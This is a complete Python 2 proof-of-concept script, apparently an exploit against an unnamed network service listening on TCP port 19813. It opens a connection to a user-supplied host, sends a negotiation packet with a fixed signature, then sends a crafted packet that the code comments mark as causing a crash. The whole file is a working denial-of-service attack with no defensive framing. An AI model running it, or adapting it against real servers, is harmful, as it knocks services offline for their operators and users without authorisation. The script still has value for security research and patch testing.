#!/usr/bin/python



import socket,struct,sys,os



SIGN=0x04030201

cmd=0x01000000



def main():

    if len(sys.argv)!=2:

        print"\n[x] Usage: python "+sys.argv[0]+" < ip_server >\n"

        sys.exit(0)



    else:

        host=sys.argv[1],19813  #default port TCP/19813



    if sys.platform=="win32":

        os.system("cls")

    else:

        os.system("clear")



    s=socket.socket()

    try:

        s.connect(host)

        s.recv(1024)

    except:

        print"[x] Error connecting to remote host! This is g00d :D."

        sys.exit(0)

    print"[+] Building crafted packets..."

    #packet negotiation request

    pktnego=struct.pack(">L",cmd+0x1)       #+0

    pktnego+=struct.pack("<L",0x00000000)       #+4

    pktnego+=struct.pack("<L",SIGN)         #+8 (signature)

    #packet crash

    pkt1=struct.pack("<L",cmd+0x2)

    pkt1+=struct.pack(">L",0x00000001)      # != 0x0

    pkt1+=struct.pack("<L",SIGN)

    #end

    print"[+] Negotiation."

    s.send(pktnego)

    s.recv(1024)

    s.send(pkt1)#crash!

    s.close()



if __name__=="__main__":

    main()